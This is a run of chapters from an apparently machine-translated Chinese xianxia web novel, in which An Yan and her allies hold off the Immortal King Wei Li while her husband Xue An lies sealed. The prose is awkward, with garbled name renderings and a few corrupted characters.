    Lei Zun screamed frantically in his heart, but in despair, it also completely gave up, and began to frantically urge all Lei Li.


    In the loud rumbling sound, but seeing the thunder light on the pan frantically flashing, it even evoked the power of the world, making the sky within a thousand miles full of thick thunderclouds, and then dropped a square foot with a click. There was a huge thunder from Li Xu, blasting straight towards Wei Li.


    This kind of power cannot be said to be not powerful!


    Especially for these ghost tribes, who originally hated the power of thunder light, under the addition of the two, many ghost tribes naturally retreated one after another.


    But Wei Li didn''t have any expression, just smiled coldly.


    "Dare to challenge me even with this strength?"


    As he said, he slowly raised his hand to catch the falling thunder, and then shook it suddenly.


    boom!


    This thunder light was directly pinched into powder.


    This is not over yet, even the thunder light scattered around the pan disappears.


    Just a blow!


    The poor Lei Zun let out a stern and terrible howl, and almost broke to pieces.


    An Yan, who was rushing forward frantically, was also shaken back dozens of steps because of this force.


    But at this moment, an invisible air machine suddenly appeared out of thin air and restrained Wei Li''s hands and feet.


    "Huh?" Wei Li was taken aback and looked up.


    I saw that the fox demon in the distance did not know when the fox demon''s body had already appeared, and the five huge tails plunged into the void and appeared directly next to Wei Li, restraining him firmly.


    "Tianhu family? Are you from Qingqiu Fox Country?" Wei Li said lightly.


    Hu Ying was pale and clenched her teeth, struggling to support her!


    Because Wei Li''s aura was too strong, even if she used her foxtail as a rope, she just barely restrained it.


    But even so, Hu Ying sneered, and then raised her head proudly, "That''s right! Grandma, I''m from Qingqiu Fox Country, how about it! Be scared!"


    "Afraid?" Wei Li smiled coldly, "Little girl, if you grow seven tails, I might still be afraid of you, but now you are just a young child with five tails, and you dare to be in the sky with this strength. Running around in the middle, didn''t your adults teach you that this is simply looking for death?"


    As he said, Wei Li suddenly raised his hand, and an extremely powerful force rushed out, and Hu Ying was shocked, her face instantly pale.


    Upon seeing this, Wei Li sneered, and once again increased his hand strength, preparing to completely shatter Hu Ying''s tail.


    At this moment, dozens of octopus tentacles flew across the sky, wrapping Wei Li layer by layer.


    "Little fish!" Hu Ying exclaimed.


    Zhang Xiaoyu, who also showed his body, shouted: "Sister Fox, quickly withdraw her tail!"


    A look of intolerance appeared on Hu Ying''s face.


    After all, if he removes his tail now, these tentacles of the octopus will be shattered immediately.


    Zhang Xiaoyu yelled nonchalantly: "Sister Fox, don''t care about me. If my tentacles are broken, they can grow again. Your tail won''t work!"


    Wei Li smiled grimly, "Want to go? Ha ha, you...no one can go!"


    But just when he was about to forcefully smash Hu Ying and Zhang Xiaoyu to pieces.


    After hearing a loud bang, Wei Li felt a sharp pain coming from the top of his head.


    When I looked up, I saw that An Yan didn''t know when he had appeared on top of his head, holding the pan and patted it.


    Clang clang!


    With a loud noise, Wei Li''s head was instantly smashed out of big bags.


    It can be seen that An Yan is obviously already extremely angry, and even more mercilessly.


    And this scene made everyone in the audience look silly.


    Because An Yan, who was incarnate as a violent mad demon, was as crazy as it was, and the pan was so slick that he couldn''t see the shadow, and even the clanging sound was connected with it.


    Wei Li was almost stunned. He didn''t know why this woman suddenly appeared on top of his head.


    But under the anger and anger, his eyes couldn''t help showing crazy murderous intent, and the momentum of his body climbed wildly, wanting to completely tear this hateful woman to pieces.


    But at this moment, a moment of unknown meaning, as if only acting on cause and effect, suddenly appeared, completely disrupting his rhythm.


    boom!


    Just as he was stunned, An Yan smashed the pan severely.


    The intensity of this one hit him so badly that he almost fell to the ground.


    "Mom is amazing!" I missed and shouted.


    But at this moment, Wei Li, who was almost mad, roared, broke free from the shackles of Hu Ying and Zhang Xiaoyu, and then shouted very bitterly.


    "Woman, you dare to hurt the noble me, I will tear you apart bit by bit!"


    As he said, the power of the violent fairy king surged out and went straight to Anyan.


    "Sister Yan!" Although they had suffered serious injuries, Hu Ying and Zhang Xiaoyu couldn''t help screaming when they saw this.


    But An Yan didn''t show the slightest fear, still holding the pan, coldly looking at the rushing Wei Li.


    "Mom!" The two little girls couldn''t help but scream in surprise.


    But just as Wei Li had already rushed to Anyan, and when the surging power of the Immortal King was about to sweep out, An Yan''s body suddenly showed an extremely bright brilliance, and an extremely strong sword intent took shape in an instant, bringing everything to Anyan. Yan''s power was completely cut off.


    Wei Li''s pupils shrank instantly because he felt the aura attached to this sword intent.


    It''s a guardian!


    This is the guarding power given to this woman by Shenhuo Guizun!


    Just as these thoughts flashed through his mind.


    He saw a pan gradually expand in his eyes and finally hit his forehead heavily.


    boom!


    Wei Li screamed and was shot and flew out, and at the same time roared in the air: "This place is again, can''t you change the location to shoot?"


    An Yan let out a sigh of relief and said coldly: "No!"


    At the same time, everyone in the room looked stupid.


    This woman... unexpectedly shot the powerhouse of the fairy king level out?


    At this moment, Wei Li stood still in the void again, staring at An Yan with anger and bitterness.


    He still couldn''t figure out what exactly was the aura that suddenly disrupted his rhythm before!


    But it is also related to this woman!


    At the same time, I saw An Yan levelling the pan, pointing at everyone, and saying coldly: "I will be here today to see which one of you dares to come forward!"

 Chapter 1445： Salivating 3 feet

    There was a slight commotion in the audience.


    Many people had extremely weird looks, their eyes all focused on Wei Li who was standing in the front, wanting to see how this big guy would respond.


    After all, everyone saw the scene just now.


    Although he didn''t understand why Wei Li, who was able to eliminate all the gods, fire and ghosts, would be beaten out by a woman.


    But thinking about this matter will not end easily.


    Unexpectedly, Wei Li stood in the void, with a cloudy face, but did not take any further action.


    This can''t help shocking more people.


    Could it be... the ancestor of the Wei family was scared?


    The doubts arose in everyone''s hearts.


    Of course Wei Li was not afraid of An Yan, he was just puzzled by the qi that disturbed his rhythm just now.


    But soon, he showed a sullen grin, "Okay! What a heroine! It seems that the old man really underestimated you!"


    "But do you think this is enough? The gods and ghosts are dead, and you women will also become my trophy!"


    As soon as the voice fell, I thought about suddenly leaning out, pointing at Wei Li angrily and shouting: "Your father is dead, and your family''s father is dead! And you, the big villain, are now at the end of the battle. Is it so arrogant?"


    These words were awe-inspiring, but from thinking about this little girl, everyone felt a very strange feeling.


    At this moment, Nian-nian asked in a low voice: "Sister, what does the end of the crossbow mean?"


    "The end of the crossbow means that this guy has no strength!" After thinking about it in a low voice, he raised his head and looked at Wei Li.


    "Big villain, am I right?"


    These words made Wei Li''s face suddenly sink, and his eyelids jumped crazily.


    Just as you think about it, he is indeed at the end of the battle at this moment.


    Because before using the power of the clone to display the secret of time, the pressure brought by it has made his clone on the verge of collapse, and the strength is even more non-existent.


    This is also the reason why he was photographed by An Yan just now.


    Otherwise, no matter how extraordinary An Yan is, it is impossible to cross such a large level to pose a threat to him!


    But he alone knew the secret, but now that this little girl, who was only six or seven years old, saw it through at a glance, Wei Li naturally felt a bit of deep fear.


    At this moment, Nian Nian couldn''t help applauding with joy: "Sister is so amazing!"


    Then he shouted at Wei Li: "Big villain, I just said you will definitely die, can you believe it now!"


    This sentence caused Wei Li to be struck by lightning, and instantly remembered the strange aura that had puzzled him before, and he understood a lot at once, and then the eyes of thinking and thinking gradually became hot. .


    Because he suddenly remembered a legend that can only be recorded in some extremely ancient heritage.


    Some people are the existence of various weather fortunes, they are born with extremely terrifying talent, and this talent is different.


    For example, some people may be just ordinary people without any cultivation base, but they can make life and death in one word.


    Or they have the ability to see through all illusions, and one word can tell the essence of things.


    And the damage caused by this kind of talent is not defensible by strength or cultivation base.


    When Wei Li saw this rumor at the time, he just laughed off, thinking it was just nonsense.


    Because he has lived for more than 20,000 years and has never seen a person with this kind of talent!


    But now the performance of Missing Nian reminded him of this rumor again, combined with everything that just happened, Wei Li could conclude.


    These two little girls are absolutely extraordinary.


    These thoughts flashed through Wei Li''s heart, and his eyes became more greedy.


    If you can hold these two little girls in your hands, then your strength may be even higher.


    Even if this talent can be plundered, then he will become the first person among the strong at the same level.


    These thoughts caused Wei Li''s face to gradually show a strange smile.


    Seeing this smile, I felt a little bit cold thinking about and thinking about it, and hurriedly hid behind An Yan.


    "Mom! The eyes of this villain are terrible!"


    An Yan comforted softly: "Don''t be afraid, there is a mother here!"


    At this time, Wei Li smiled, then quietly stepped back for a while, and said coldly: "Surround these people, I want to see how long they can last!"


    Because of the greed for thinking and Niannian, Wei Li changed his mind and decided not to attack by force, but to force An Yan and others to submit through this siege.


    With an order, everyone in the Wei family, as well as many giants in the ghost world, stepped forward and surrounded An Yan and others.


    As for the hall masters of the Punishment Land, they also looked at each other, and then moved forward.


    After all, no matter how the strength fell, this Wei Li was still a real Immortal King-level powerhouse, and he could not afford them.


    In an instant, An Yan and others were surrounded by water.


    Wei Li sat there, lying comfortably on top of a ghost, slowly recovering his strength, and then sneered coldly.


    As long as one''s own strength recovers a little bit, by then, all these women will have to become their own prisoners.


    at the same time.


    An Yan and the others who were surrounded by Tuantuan were also a little commotion.


    Both Zhang Xiaoyu and Hu Ying have been injured, so An Yan whispered to them: "Ying''er Xiaoyu, you two should go back to the Fubao Xiaolou first. I will be guarded here alone!"


    Hu Ying shook her head resolutely, "Well, sister Yan, don''t worry! I''m fine!"


    Zhang Xiaoyu broke off all her tentacles, but still smiled and said: "That''s right, this injury is nothing, I used to pull my tentacles to eat at the beginning!"


    An Yan looked at the two girls who laughed at Yan Yan, their eyes gradually softened, and then lightly nodded, "Okay! Then we will wait here together!"


    At this time, Xiang and Nian Nian asked in a low voice: "Mom, when will Dad be back!"


    An Yan took a deep look at the outline of the phantom and whispered: "It should be soon!"


    An Yan has not been panicked, because she can clearly feel that Xue An has not left at all, but for some reason she cannot return temporarily!


    The sword intent to guard oneself before is the proof, so An Yan will wait here calmly.


    She believes that her husband will return safely!


    And when the situation here fell into a confrontation, everything that happened here quickly spread through the entire central ghost world at a terrifying speed.


    The ancestors of the Wei family were born, the long-lost ghosts respect the new return, and the Mingjun secretly appears!


    These explosive news caused a sensation in the entire central ghost world, and began to spread to the outer plane at a hurricane-like speed.

 Chapter 1446： Set off together

    Endless desert.


    With the same small bridge and flowing water, the same sunset, time seems to stagnate in this small courtyard.


    Meng Yao sat above the flower hall, as always in a daze.


    But soon, the tranquility here was broken by a panic of footsteps.


    Meng Yao recovered from the memory, and then frowned slightly!


    She hates someone disturbing herself when she is in a daze.


    At this moment, her personal guard Donghan ran into the small courtyard out of breath.


    Meng Yao sighed softly, "What''s going on? I''m so flustered. Didn''t I tell you, no matter what happens, you have to calm down!"


    It was hard for Donghan to catch his breath, and after hearing Meng Yao''s words, he couldn''t help showing a wry smile.


    "Yes, the Lord!"


    "Now, what''s the matter?" Meng Yao leaned on the railing leisurely and said slowly.


    "Hall Master, the news that I just received, Mingjun''s secret storage has appeared!"


    "Oh! Isn''t this normal? Although the Broken Land is dangerous, but this time gathered the wealthy of the entire Central Ghost Realm, there must be a solution!" Meng Yao said disapprovingly.


    "then����."


    "Then what?"


    Donghan took a deep breath, "Then the ancestors of the Wei family suddenly appeared, and there was also the...the long-lost Lord God and Ghost!"


    When he heard the ancestors of the Wei family appear, Meng Yao still had a calm face. Until he heard the latter sentence, Meng Yao was like a cat whose tail was stepped on, and directly exploded his hair.


    "What? You say it again?" Meng Yao suddenly got up and shouted with excitement.


    Donghan murmured quietly in his heart, didn''t you just say that you should calm down no matter what happens?


    How come you are more excited than I am when I hear this news?


    But of course Donghan didn''t dare to say these words. He just bowed his head and said: "Hall Master, I have confirmed the news. It is indeed the Lord Shenhuo Guizun who has returned! But..."


    Before the words were over, the Meng Yao Meng Palace Master was already in tears with excitement. He turned around and wanted to fly up. It was only when he heard the sentence that he was startled.


    "But what?"


    Donghan hesitated for a moment, and finally said softly: "But Master Shenhuo Guizun didn''t know what happened to him, and his strength declined extremely severely, and when he was fighting with the ancestor of the Wei family who was already the immortal king, He was hit with a terrifying secret technique, now... life and death are unknown!"


    Hearing these words, Meng Yao''s face was as pale as paper instantly, and her figure swayed even more, almost falling to the ground.


    Donghan screamed and hurriedly stepped forward to support Meng Yao, "Hall Master!"


    "I''m fine!"


    Meng Yao waved her hand, then stood still, took a deep breath, layers of murderous intent appeared on her pretty face.


    "Winter cold!"


    "in!"


    "This desert city is now in your control!"


    Donghan was startled, and immediately understood something, exclaiming: "Hall Master!"


    Meng Yao waved his hand, "Needless to say, I have decided!"


    After Meng Yao waved his hand, a token flew into Donghan''s hand.


    Meng Yao stomped his foot, and the small courtyard with small bridge and flowing water burst into pieces like an illusion.


    Then Meng Yao flew up, stood in the void for a while, and said to Donghan: "If I can''t return here, remember to give me a glass of drunken predecessor when I have time!"


    After all, Meng Yao turned into black light and went straight to the distant sky.


    Donghan stood there blankly, tears suddenly falling down.


    "Hall Master, I...I am waiting for your return!"


    At this moment, Meng Yao''s figure has flown thousands of miles away, but this endless desert covers a vast area, and at this speed, it takes at least half a day to fly out.


    At this moment, Meng Yao was anxious, and suddenly waved his hands, the brilliance in his eyes burst, and a long tail was instantly dragged out behind him.


    This is a sign that she is madly burning her own cultivation.


    And where Huaguang''s tail passed, strange flowers and weeds suddenly grew above the desert.


    In an instant, the desert that was just a barren land turned into a green sea.


    And at this almost crazy speed, Meng Yao''s speed suddenly increased by more than ten times, almost tens of thousands of miles away in an instant.


    So a scene of wonder appeared in front of everyone.


    I saw a bright light that had dragged the entire world and spread across it, and behind it was an endless green sea growing crazily.


    Meng Yao, who was on the road frantically, did not know when she had already burst into tears, and her whole heart was plunged into endless suffering.


    My lord, you must be sure to... safe!


    In a plane adjacent to the central ghost world, Jin Juezheng led his newly-acquired disciples walking on the ground.


    After so long of tempering, Jin Jue''s aura became more and more condensed, and his eyes were pure and flawless like a newborn baby, like diamonds.


    When he hurried on his way, he was three inches from the ground and walked in the air without arousing any fluctuations, as if he had completely integrated into the world.


    But at this moment, Jin Jue felt a little bit and stopped abruptly.


    The disciples who walked with the wind behind him couldn''t help but almost collided together and couldn''t help asking.


    "Master, what''s the matter?"


    Jin Jue raised his eyes and looked at a place in the void, the brilliance in his eyes flickered, and finally his palms folded, "Nan Wuyou Buddha, the benefactor is in trouble, how can Jin Jue stand by!"


    After that, he turned his head and said to his disciples: "You are waiting here, I am going to help a friend now!"


    These disciples nodded one after another, but only stood in the front, and at the same time the disciple who followed Jin Jue for the longest time opened his mouth and said: "Master, are you going to help the previous donor?"


    Jin Jue nodded, and suddenly there was a bleak expression on his face, "Apprentice, if Master cannot return now, you will take care of your juniors!"


    These words changed the expressions of all the disciples, all of them looked sad, and then fell to their knees and said sadly: "Master!"


    Jin Jue shook his head, "Fool, life and death are commonplace, so why bother! I''ll go!"


    After all, Jin Jue lowered his eyes and began to chant the scriptures in a low voice.


    Afterwards, the golden light emerged from his body, and when it dissipated again, there was no one in the field.


    The remaining disciples all looked confused. Only the big disciple who had followed Jin Jue for the longest time remained silent for a moment, then sat cross-legged on the ground and said softly.


    "I''ll wait and wait for Master to return!"


    "Yes!"


    In the depths of the ghost world, in the Luo family.


    Since the giants in the depths of the ghost world were swept away, Luo Jian and Ren Tianqi have been busy reorganizing this world every day and put it under their control.


    In comparison, Luo Jingting seemed a lot more relaxed.

 Chapter 1447： Crisis

    But today Luo Jian and Ren Tianqi still invited her to come to discuss matters together.


    Luo Jian and Ren Tianqi understood that Luo Jingting was entrusted to them by Xue An himself.


    This also shows that Luo Jingting''s position is very important.


    So even though Luo Jingting repeatedly stated that he was not interested in these things, the two would still invite him when they encountered the distribution of benefits or other important matters.


    Today is no exception.


    But just as the three of them were talking hotly, a black letter paper appeared in front of them out of thin air.


    Luo Jian was taken aback!


    Because this letterhead is obviously the highest grade urgent letterhead, what has happened and it is worth sending this kind of letterhead to inform the news?


    But when Luo Jian took a look, his face changed instantly.


    "What''s wrong?" Ren Tianqi hurriedly asked.


    Luo Jian handed the letterhead to Ren Tianqi with a green expression. When Ren Tianqi took a look, he immediately stood up and let out a scream.


    "What? There is a big battle in the Central Ghost Realm. It''s very possible that your lord will die?"


    Luo Jingting was also taken aback by these words, hurriedly leaned over and took a look, then he was also stunned.


    "What should I do? The adult is still alive and dead, and it is said that the family members of the adult have been surrounded by Tuantuan led by the Wei family!" Ren Tianqi asked solemnly.


    Luo Jian was silent, and it was not until a moment later that he slammed the table.


    In a loud noise, this table was directly photographed as a fan.


    Then Luo Jian said in a very firm tone: "No matter what, we can''t stay out of this matter. Even if the opponent is strong, we must fight them to the end!"


    A dangerous light flashed in Ren Tianqi''s eyes, and she nodded, "I understand! Now I will dispatch troops and rush over!"


    "Okay! I''m going to call up the staff too!"


    Luo Jian and Ren Tianqi act separately, and Luo Jingting is the only one left in the room.


    She stood there for a moment, suddenly remembering something, she gritted her teeth abruptly, and then took out an ancient mirror from her arms, and tremblingly passed what happened today through the ancient mirror.


    When the news spread into the plane of Liao Zhai, Zang Xueling was the first to learn the news, and she was shocked.


    "What! It is the ancestor of the Wei family! This is terrible! This old immortal was extremely powerful at the beginning, and now he has become a 100% powerhouse at the Immortal King level! The adults actually fought with him and won. It''s his trap, this is terrible!"


    Zang Xueling was indeed anxious, and she made no secret of these words.


    Que Wenyuan, who was by the side, stepped forward and took a look at the ancient mirror. His face turned pale, his eyes were red, and tears were almost falling.


    "Sister Xue Ling, this...what can I do!" Que Wenyuan has completely confused Fang Cun.


    At this time, she had naturally cut off all the delusions before.


    But this did not prevent her from being grateful to Xue An.


    But now this news clearly shows that Xue An is facing great danger.


    How can this not make Que Wenyuan fear and worry.


    Zang Xueling calmed down gradually, then stood up abruptly, and said in a deep voice, "No matter what, this matter must be over. What''s more, when I was imprisoned, the culprit was the Wei family, so this incident is also related to me. Related, I have to go!"


    Que Wenyuan immediately said: "Sister Xueling, take me with you!"


    Zang Xueling took a deep look at Que Wenyuan, "Aren''t you afraid? You have to know that your opponent is probably the number one master in the ghost world. Even if it is me, I dare not say that I can return safely!"


    Que Wenyuan shook his head without hesitation, "I''m not afraid! No matter what kind of strong person, I''m not afraid!"


    Zang Xueling laughed, "Okay! In this case, let''s go now!"


    With that said, she flew up, broke through the space with Que Wenyuan, and flew towards the central ghost world.


    at the same time.


    The whole ghost world is boiling.


    Everyone was shocked by this series of explosive news.


    "What? The ancestor of the Wei family suddenly appeared, and he was still a real immortal king powerhouse, the existence of Mingjun level?" Someone sucked in a cold breath and said.


    "Yeah! Not only that, even the long-lost God Fire Ghost Venerable has reappeared, but this adult doesn''t know what he has gone through. The decline in strength is extremely serious, so he was caught in one move. An ancestor of the Wei family sealed it!"


    "Hehe, it''s a seal. It is estimated that this **** fire ghost is dead and can''t die anymore! After all, against a strong immortal king, how can there be good fruit!" Someone sneered.


    "But this ancestor of the Wei family didn''t pay the price. After hearing that he didn''t make any more moves, but commanded the giants to surround the secret Tibetan group!"


    "What do you know! Although Shenhuo Guizun is dead, he still has a family, and I heard a friend of mine who was on the scene say that all the families of Shenhuo Guizun are extremely beautiful! Do it, maybe you have his idea!"


    There are everything to say at a time, but without exception, almost everyone thinks that Xue An has completely lost, and even many people think that he is dead and can''t die anymore.


    And because of the sudden appearance of a powerful person of the Mingjun level in the Wei family, he will surely soar into the sky in the future, but the ghost realm may be unified, so all the eyes of the central ghost realm gathered for a while.


    There is even a flexible-minded person who actually started the water mirror method before the secret hiding, and relayed all kinds of news in this way in real time.


    boom!


    There was another muffled sound, An Yan showed great power and directly blasted out a sneak attack ghost clan.


    Because of the power of Lei Zun hidden in this pan, the ghost clan who sneaked over burst into nothing in the air.


    And this is already the twenty-seventh ghost clan who has died under An Yan in more than one day.


    At this time, many ghosts looked at An Yan with deep jealousy Because they have used various methods for more than a day.


    But no matter what means, there is no way to calm down a vellus hair.


    There was even that non-believers of the ghost tribe who wanted to secretly curse An Yan with occult techniques, but unexpectedly, the guardian power of An Yan''s body was inspired at that time, and countless swordsmen directly cut the cursed ghost tribe into meat sauce.


    In the eyes of many people, An Yan has already equated with Nanhuang.


    Many people were surprised to find that, even though An Yan was only a half-step true immortal cultivation base, he guarded in front of the secret store with the aura of one man as a guard, making it impossible for everyone to save.


    Many people secretly admire this scene.


    But Wei Li didn''t show the slightest worry, he was still sitting on top of the ghost, and even as time passed, the smile on his mouth grew stronger.


    Because only he can see that with the passage of time, An Yan''s face has become paler and paler, and the momentum of his body has inevitably fallen.

 Chapter 1448： All parties

    This is actually a very normal thing. After all, An Yan is now only a half-step true immortal cultivation base, and it is a miracle that such strength can last until now.


    But over time, her spiritual power has inevitably begun to show signs of exhaustion.


    When she is completely exhausted, it is the best time to do it.


    Then these two little girls will be his best trophies!


    Thinking of this, the smile on Wei Li''s face grew stronger, and then he waved casually.


    "She can''t hold it anymore, send a Palace Master from the Land of Punishment over!"


    With an order, the eight hall masters of the Land of Punishment couldn''t help looking at each other.


    Although they are all ghosts, they also have the dignity of a strong man after all.


    It''s easy to talk about it when I was fighting Xue An before.


    But if they were to deal with a woman with such strength, they still felt a little unable to do it.


    But they dare not defy Wei Li''s words.


    Because they only have eight left now, it''s because the extremely cold emperor with the hottest temper collided with Wei Li because of his words and was directly sealed by Wei Li.


    Facing the strength enough to crush him, these palace masters looked at each other, and finally Rong Yang was sent out with a reluctant look.


    He regretted it now that he shouldn''t have coveted the so-called secret treasure of Mingjun, but he ended up in the field where he is now.


    But the situation is better than others, and he can only rush out of the crowd unwillingly, and then head straight for Anyan.


    After more than one day of fighting, Rong Yang naturally understood An Yan��s details, knowing that her strength is limited, and all she relies on is her unexplainable immunity to the secret techniques of the ghost race, and her in times of danger. Guardian power.


    So this time Rong Yang didn''t use any ghost world secret techniques at all, it was purely to deal with Anyan with strong strength.


    really.


    Under this strategy, An Yan instantly fell into a dangerous desperate situation, and could only rely on the pan in his hand to barely parry without any fight back.


    Rong Yang didn''t have any complacency about this, but he sighed secretly before grabbing An Yan.


    But at this moment, behind him, Hu Ying suddenly emerged from the void, and then shot it with a palm.


    Zhang Xiaoyu frantically waved his tentacles, trying to confuse Rong Yang''s attention.


    This is also the most effective method that the two of them have explored over the past day.


    But all this is so weak in the face of absolute strength.


    Rong Yang didn''t even turn his head, just a flash of his figure, and the powerful power instantly shook Fox Ying away.


    As for Zhang Xiaoyu''s tentacles, Rong Yang didn''t even look at it, because he was directly shattered before he rushed to the front.


    at the same time.


    Rong Yang stretched out his hand to catch Anyan.


    But at this moment.


    Suddenly, a ray of light pierced through the entire skyline appeared in the distant sky, and then rushed here at a very fast speed.


    In an instant, a figure dragging a long light tail appeared in the sight of everyone.


    Upon seeing this scene, there was a commotion in the audience, and Wei Li couldn''t help frowning slightly.


    As for Rong Yang, he stood still on the spot like being struck by lightning.


    At this time, this figure had already rushed into the field, and it was Meng Yao after the standing.


    Seeing it was her, all the palace masters in the Land of Punishment were a little dumbfounded.


    "Dian Master Meng?"


    Meng Yao ignored everything else, but instead focused all of his attention on the outline of the phantom.


    Even though the outline was faint and only fine lines remained, Meng Yao recognized it at a glance.


    It is the adult she will miss forever!


    But I never expected that after waiting so long, it would look like this when I saw it again.


    This couldn''t help making Meng Yao''s eyes gradually filled with tears.


    An Yan naturally noticed this scene, and her heart moved.


    Who is this woman...?


    Why do you look at the ghost outline left by your husband with that look?


    Thinking and Niannian naturally noticed this scene. In fact, these two little girls have not been idle for more than a day, but have been around the outline of this phantom, hoping that their father can wake up as soon as possible. come.


    So when I saw Meng Yao, I couldn��t help but timidly asked: "Auntie, why are you crying?"


    These words awakened Meng Yao from her grief. When she saw the missing thoughts that seemed to come out of the painting, she was taken aback for a moment, and immediately understood that this should be the child of the adult mentioned in the rumors!


    Sure enough, even this eyebrow has the shadow of an adult!


    Meng Yao raised this thought silently in her heart, and then smiled at her miss.


    "Auntie didn''t cry!"


    At this time, Nian-nian also poked her head out and asked: "Then aunt, are you here to help you beat the bad guys?"


    "Yeah! I''m here to help you beat bad guys!" Meng Yao said with a smile, then turned to look at An Yan.


    Although An Yan''s face was a little pale, when he noticed Meng Yao''s gaze, he swept the temples near her ears and smiled at her.


    Meng Yao felt warm, nodded lightly, and whispered: "I have seen my sister!"


    After that, she just turned around, looked at Rong Yang who was in a sluggish state, and said coldly: "Hall Master Rong, I really didn''t expect that with your status and personality, I would be willing to be a running dog for others! "


    Rong Yang trembled all over, and then he woke up from the confusion.


    Of course he understands what Meng Yao is doing here!


    Just as he knew who Meng Yao had been waiting for.


    So he knew very well that if Meng Yao knew that the ghosts were respected, he would definitely not wait to come over.


    But he didn''t expect to come so soon!


    Therefore, he couldn''t help taking a deep breath, and said with a wry smile: "Hall Master Meng, I..."


    Meng Yao waved her hand and said coldly: "Okay, don''t say it! If you want to deal with them, just beat me first!"


    With that said, Meng Yao stepped forward, blocking An Yan and the others, her aura gradually rising.


    "Is that really the case?" Rong Yang''s complexion became more and more ugly, and a look of pain appeared in his eyes.


    "Dian Master Meng, don''t you see that this **** fire ghost has fallen? You..."


    "Shut up!" Meng Yao was furious I don''t allow you to say that, adults, and I believe that adults will definitely be fine! Stop talking nonsense, do it! "


    At this moment, Meng Yao''s killing intent was as solid as the substance.


    Rong Yang''s face was sad, and an unspeakable discouragement emerged spontaneously.


    Of course he knew Meng Yao''s thoughts, but he didn''t expect his thoughts to be so firm.


    But at this moment, Wei Li, who was sitting on top of the ghost, suddenly sneered.


    "court death!"


    With a sudden flick of his finger, a brilliance rushed towards Meng Yao with lightning speed.


    Wherever he went, the space seemed to be plowed out of a deep chasm.


    Under this terrifying momentum, Meng Yao''s complexion condensed, and then all the cultivation bases were agitated to try to resist the attack.


    But at this moment, Rong Yang suddenly raised his hand and smashed the brilliance that was passing by.

 Chapter 1449： This 1 battle

    oom!


    Although this was only Wei Li''s finger, the huge power gap still shattered Rong Yang''s arm directly.


    At this time, the audience was silent.


    Meng Yao''s eyes widened in an instant, "You..."


    Rong Yang''s complexion turned pale, but he still smiled freely: "You are right. How can I be a running dog for someone with my status and strength! So I want to understand! Even if you die, you have to stand. Go to hell!"


    This sentence made Meng Yao startled, then the gaze in her eyes softened, and she nodded, "Thank you!"


    "Thank you!" Rong Yang turned his head and smiled at Wei Li in the distance.


    "Wei Li, I don''t do it! You have the ability to kill me!"


    Wei Li''s expression gradually darkened.


    His current strength has not completely recovered, although he can still crush everyone present, but if he does it brazenly, this clone may not be able to keep it.


    This is an unacceptable loss for Wei Li, who has only condensed this clone after a thousand years.


    But in the face of Rong Yang''s betrayal and clamor, he couldn''t remain indifferent, otherwise it is very likely that these palace masters in the Land of Punishment would be strange.


    Therefore he sneered a few times, "Very good! Palace Master Rong, I didn''t expect you to be a seed of infatuation! It''s a pity that the person you like doesn''t seem to feel you at all!"


    "So what? I like it. As for whether she likes me, what does it have to do with me?" Rong Yang said calmly.


    "Hehe, it sounds good, but do you think you can survive?" As he said, Wei Li raised his hand and painted a very strange Yin Talisman in the air.


    "Jiuyou, ghost!"


    As soon as the voice fell, I saw this Yin Talisman exuding an extremely evil light, and then a huge vortex emerged in the void.


    From the whirlpool, a dark, hideous ghost stood in front of Wei Li respectfully.


    "Kill him and that woman!" Wei Li raised his hand and pointed at Rong Yang and Meng Yao.


    The ghost nodded, then his figure flashed before appearing in front of Rong Yang.


    The speed was so fast that Rong Yang was shocked.


    But at any rate, he was also a strong man at the hall master level, so he shouted angrily, raising the only remaining hand as a punch.


    This punch was extremely powerful, but the ghost didn''t even move, letting him hit him with a punch.


    But then Rong Yang''s complexion changed, because he found that his hand could not be pulled out.


    at the same time.


    This ghost gave out a very harsh and unpleasant laugh, and from the place where he was hit, countless tentacles turned out of resentment stretched out, grabbed Rong Yang''s arm, and slammed down.


    Click!


    Rong Yang''s arm was also torn off by Shengsheng, and then he saw the ghost picking up the arm and chewing it in his mouth.


    After a few moments, this arm was eaten by the ghost.


    Rong Yang was shocked and then took a few steps back.


    Because he had never seen such a strange and terrifying monster.


    But this ghost was obviously dissatisfied with only one arm, so with a mouth, he saw countless tentacles sticking out of his mouth and heading straight for Rongyang.


    Rong Yang screamed.


    But at this moment, Meng Yao suddenly rushed forward, raising his hand with a hand knife, directly cutting off a tentacle that had been bound to Rongyang.


    Fortunately, she was also entangled by a few tentacles in the next second.


    The slippery mucus quickly corroded her body.


    Rong Yang roared, "Lava hell!"


    In front of him, a fiery flame appeared quickly, but before the lava completely appeared, he was directly wiped out by a tentacle.


    at the same time.


    An Yan also slapped a pan on the tentacles, and a flash of thunder flashed, the ghost uttered a scream, and smoke appeared on the head, but there was no major problem.


    Instead, An Yan trembled back a few steps, An Yan couldn''t help but said in amazement, "What kind of monster is this?"


    Wei Li laughed loudly, "Youkai? No, this is my favorite pet! Kill them all!"


    The ghost pounded his chest and yelled a few times, and then the tentacles tightened abruptly, about to crush Meng Yao completely.


    But at this moment, I only heard a light sigh.


    "Nan Wuwu Buddha, with such a grievance, how many murders should the donor commit!"


    With the voice, dozens of Huaguang rushed forward, and the leader was a monk.


    It is Jin Jue.


    Behind him are Luo Jian and Ren Tianqi from the depths of the ghost world, as well as Zang Xueling and Que Wenyuan.


    Although they set off at different times, they met by chance on the way to here. Because they had the same goal, they immediately came together.


    Following the voice, Jin Jue appeared directly in front of the ghost, then folded his hands together and turned into Immovable King Seal, and then gave a soft drink.


    "My Buddha is merciful and kill all demons!"


    boom!


    Give an order.


    Seeing Jin Jue''s head suddenly appeared an extremely bright light wheel, like a bodhisattva coming to the world.


    But the immeasurable golden light turned into a Buddha seal and directly blasted on the ghost''s head.


    boom!


    After a loud noise.


    The ghost uttered a terrifying scream, and then it turned into nothing.


    one strike!


    This ghost is gone!


    Wei Li''s face sank, and immediately said coldly: "Buddha Xiu? Do you want to take this muddy water trip too?"


    Jin Jue''s complexion was a little pale, but he still put his hands together, and said softly: "I and Xue Shizhu are friends, so..."


    Jin Jue showed white teeth, "I have to wade this muddy water!"


    at the same time.


    Luo Jian, Ren Tianqi, Zang Xueling and others all stood behind Jin Jue.


    "Yes! This time in the muddy water, we all have to wade!"


    An Yan looked at these people coming here, her nose was a little sour, almost shedding tears.


    At this time, Zang Xueling turned her head and squeezed her eyes at An Yan, and whispered, "Sister Yan, don''t worry, Master Xue will definitely be fine! After all, he is the Red Lotus Immortal Venerable!"


    An Yan took a deep breath and nodded slowly, "I understand!"


    at the same time.


